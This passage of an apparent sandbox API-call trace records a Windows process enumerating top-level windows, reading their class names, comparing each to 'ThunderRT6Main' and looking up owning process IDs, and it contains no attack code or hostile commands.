hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0116.214] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0116.214] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.214] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.214] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0116.214] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0116.214] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0116.214] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0116.214] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0116.214] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0116.214] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.214] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.214] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0116.214] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0116.214] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0116.214] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0116.214] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0116.214] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0116.214] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.214] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.214] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0116.214] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0116.215] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0116.215] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0116.215] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0116.215] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0116.215] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.215] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.215] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0116.215] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0116.215] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0116.215] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0116.215] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0116.215] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0116.215] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.215] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.215] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0116.215] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0116.215] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0116.215] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0116.215] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0116.215] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0116.215] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.215] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.215] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0116.215] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0116.215] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0116.216] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0116.216] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0116.216] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0116.216] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.216] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.216] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0116.216] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0116.216] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0116.216] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0116.216] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0116.216] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0116.216] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.216] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.216] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0116.216] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0116.216] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0116.216] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0116.216] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0116.216] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0116.216] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.216] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.216] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0116.216] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0116.216] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0116.216] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0116.216] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0116.217] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0116.217] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.217] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.217] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0116.217] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0116.217] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0116.217] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0116.217] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0116.217] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0116.217] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.217] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.217] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0116.217] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0116.217] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0116.217] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0116.217] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0116.217] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0116.217] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.217] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.217] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0116.217] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0116.217] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0116.217] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0116.217] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0116.217] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0116.218] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.218] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.218] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0116.218] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0116.218] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0116.218] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0116.218] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0116.218] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0116.218] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.218] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.218] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0116.218] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0116.218] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0116.218] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0116.218] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0116.218] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0116.218] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.218] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.218] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0116.218] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0116.218] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0116.218] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0116.218] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0116.218] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0116.219] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.219] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.219] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0116.219] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0116.219] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0116.219] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0116.219] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0116.219] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0116.219] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.219] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.219] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0116.219] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0116.219] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0116.219] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0116.219] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0116.219] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0116.219] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.219] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.219] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0116.219] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0116.219] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0116.219] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0116.219] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0116.219] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0116.219] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.220] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.220] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0116.220] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0116.220] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0116.220] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0116.220] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0116.220] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0116.220] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.220] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.220] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0116.220] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0116.220] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0116.220] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0116.220] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0116.220] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0116.220] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.220] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.220] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0116.220] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0116.220] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0116.220] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0116.220] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0116.220] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0116.221] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.221] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.221] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0116.221] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0116.221] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0116.221] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0116.221] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0116.221] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0116.221] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.221] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.221] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0116.221] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0116.221] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0116.221] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0116.221] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0116.221] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0116.221] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.221] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.221] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0116.221] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0116.221] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0116.221] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0116.221] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0116.221] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0116.221] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0116.222] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0116.222] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0116.222] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0116.222] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0116.222] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0116.222] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0116.222] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0116.222] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0116.222] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0116.222] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0116.222] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0116.222] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0116.222] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0116.222] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0116.222] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0116.222] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.222] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.222] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0116.222] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0116.222] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0116.222] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0116.222] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0116.222] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0116.222] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.222] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.223] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0116.223] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0116.223] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0116.223] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0116.223] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0116.223] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0116.223] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.223] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.223] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0116.223] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0116.223] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0116.223] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0116.223] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0116.223] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0116.223] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0116.223] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0116.223] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0116.223] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0116.223] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.223] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.223] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0116.223] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0116.223] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0116.223] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0116.223] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0116.224] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0116.224] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.224] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.224] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0116.224] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0116.224] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0116.224] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0116.224] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0116.224] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0116.224] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.224] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.224] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0116.224] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0116.224] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0116.224] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0116.224] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0116.224] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0116.224] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0116.224] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0116.224] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0116.224] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0116.224] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 